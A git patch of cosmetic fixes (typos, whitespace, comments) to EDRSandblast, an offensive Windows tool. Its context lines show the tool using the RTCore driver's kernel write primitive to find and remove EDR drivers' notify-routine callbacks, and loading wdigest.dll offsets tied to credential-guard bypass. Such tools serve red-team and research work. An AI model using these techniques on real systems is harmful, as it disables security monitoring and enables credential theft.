From 5bfd633022d32857b5723e086fafa72e15021e31 Mon Sep 17 00:00:00 2001 From: Maxime Meignan Date: Wed, 29 Nov 2023 00:03:46 +0100 Subject: [PATCH] Various cosmetic changes --- EDRSandblast/Drivers/DriverRTCore.c | 2 +- EDRSandblast/Includes/WdigestOffsets.h | 27 ++++++++++--------- .../KernellandBypass/KernelCallbacks.c | 16 +++++------ EDRSandblast/Utils/WdigestOffsets.c | 1 - EDRSandblast_CLI/EDRSandblast.c | 5 ++-- 5 files changed, 26 insertions(+), 25 deletions(-) diff --git a/EDRSandblast/Drivers/DriverRTCore.c b/EDRSandblast/Drivers/DriverRTCore.c index e3fbd76..1253739 100644 --- a/EDRSandblast/Drivers/DriverRTCore.c +++ b/EDRSandblast/Drivers/DriverRTCore.c @@ -108,7 +108,7 @@ VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) { } /* -* RTCore driver allows to write 1, 2 or 4 bytes at a type +* RTCore driver allows to write 1, 2 or 4 bytes at a time */ VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) { while (Size) { diff --git a/EDRSandblast/Includes/WdigestOffsets.h b/EDRSandblast/Includes/WdigestOffsets.h index b31e72c..f7f7efa 100644 --- a/EDRSandblast/Includes/WdigestOffsets.h +++ b/EDRSandblast/Includes/WdigestOffsets.h @@ -12,27 +12,28 @@ enum WdigestOffsetType { - g_fParameter_UseLogonCredential = 0, - g_IsCredGuardEnabled = 1, - _SUPPORTED_WDIGEST_OFFSETS_END + g_fParameter_UseLogonCredential = 0, + g_IsCredGuardEnabled = 1, + _SUPPORTED_WDIGEST_OFFSETS_END }; union WdigestOffsets { - // structure version of wdigest.dll's offsets - struct { - // wdigest.dll's g_fParameter_UseLogonCredential - DWORD64 g_fParameter_UseLogonCredential; - // wdigest.dll's g_IsCredGuardEnabled - DWORD64 g_IsCredGuardEnabled; - } st; + // structure version of wdigest.dll's offsets + struct { + // wdigest.dll's g_fParameter_UseLogonCredential + DWORD64 g_fParameter_UseLogonCredential; + // wdigest.dll's g_IsCredGuardEnabled + DWORD64 g_IsCredGuardEnabled; + } st; - // array version (usefull for code factoring) - DWORD64 ar[_SUPPORTED_WDIGEST_OFFSETS_END]; + // array version (usefull for code factoring) + DWORD64 ar[_SUPPORTED_WDIGEST_OFFSETS_END]; }; union WdigestOffsets g_wdigestOffsets; -// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. +// TODO : create a LoadWdigestOffsets function like LoadCiOffsets +// TODO2 : find a way to factorize all the copy-pasted code between Ci/Ntoskrnl/Wdigest/FltmgrOffsets void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename); void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename); diff --git a/EDRSandblast/KernellandBypass/KernelCallbacks.c b/EDRSandblast/KernellandBypass/KernelCallbacks.c index c7ce876..6c1d332 100644 --- a/EDRSandblast/KernellandBypass/KernelCallbacks.c +++ b/EDRSandblast/KernellandBypass/KernelCallbacks.c @@ -25,8 +25,8 @@ DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt); BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) { DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType); - _tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]); - if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); } + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]); + if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); } SIZE_T CurrentEDRCallbacksCount = 0; for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) { @@ -36,7 +36,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine DWORD64 cbFunction = ReadMemoryDWORD64(callback); DWORD64 driverOffset; TCHAR* driver = FindDriverName(cbFunction, &driverOffset); - _tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset); + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset); if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64)); @@ -49,7 +49,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine newFoundDriver.addresses.notify_routine.type = notifyRoutineType; newFoundDriver.callback_func = cbFunction; - _tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver); + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\tFound callback belonging to EDR driver %s"), driver); if (verbose) { _tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction); } @@ -66,24 +66,24 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine } if (CurrentEDRCallbacksCount == 0) { - _putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!")); + _putts_or_not(TEXT("[+] [NotifyRoutines]\tNo EDR driver(s) found!")); } else { - _tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount); + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount); } return CurrentEDRCallbacksCount > 0; } void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) { TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring"); - _tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]); + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]); for (DWORD i = 0; i < edrCallbacks->index; ++i) { struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i]; if (cb->type == NOTIFY_ROUTINE_CB && cb->addresses.notify_routine.type == notifyRoutineType && cb->removed == !remove) { - _tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), + _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), action, cb->driver_name, cb->addresses.notify_routine.callback_struct_addr, diff --git a/EDRSandblast/Utils/WdigestOffsets.c b/EDRSandblast/Utils/WdigestOffsets.c index d6b22d1..a0d5086 100644 --- a/EDRSandblast/Utils/WdigestOffsets.c +++ b/EDRSandblast/Utils/WdigestOffsets.c @@ -17,7 +17,6 @@ union WdigestOffsets g_wdigestOffsets = { 0 }; -// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename) { LPTSTR wdigestVersion = GetWdigestVersion(); _tprintf_or_not(TEXT("[*] System's wdigest.dll file version is: %s\n"), wdigestVersion); diff --git a/EDRSandblast_CLI/EDRSandblast.c b/EDRSandblast_CLI/EDRSandblast.c index 90d67ef..7f67508 100644 --- a/EDRSandblast_CLI/EDRSandblast.c +++ b/EDRSandblast_CLI/EDRSandblast.c @@ -446,8 +446,8 @@ Dump options:\n\ PathAppend(ntoskrnlOffsetCSVPath, offsetCSVName); } - _putts_or_not(TEXT("[+] Setting up prerequisites for the kernel read/write primitives...")); - // Initialize the global variable containing ntoskrnl.exe Notify Routines', _PS_PROTECTION and ETW TI functions offsets. + _putts_or_not(TEXT("[+] Loading required offsets for ntoskrnl.exe...")); + if (FileExists(ntoskrnlOffsetCSVPath)) { _putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file")); LoadNtoskrnlOffsetsFromFile(ntoskrnlOffsetCSVPath); @@ -518,6 +518,7 @@ Dump options:\n\ _putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks")); return EXIT_FAILURE; } + foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose); if (foundNotifyRoutineCallbacks) { isSafeToExecutePayloadKernelland = FALSE;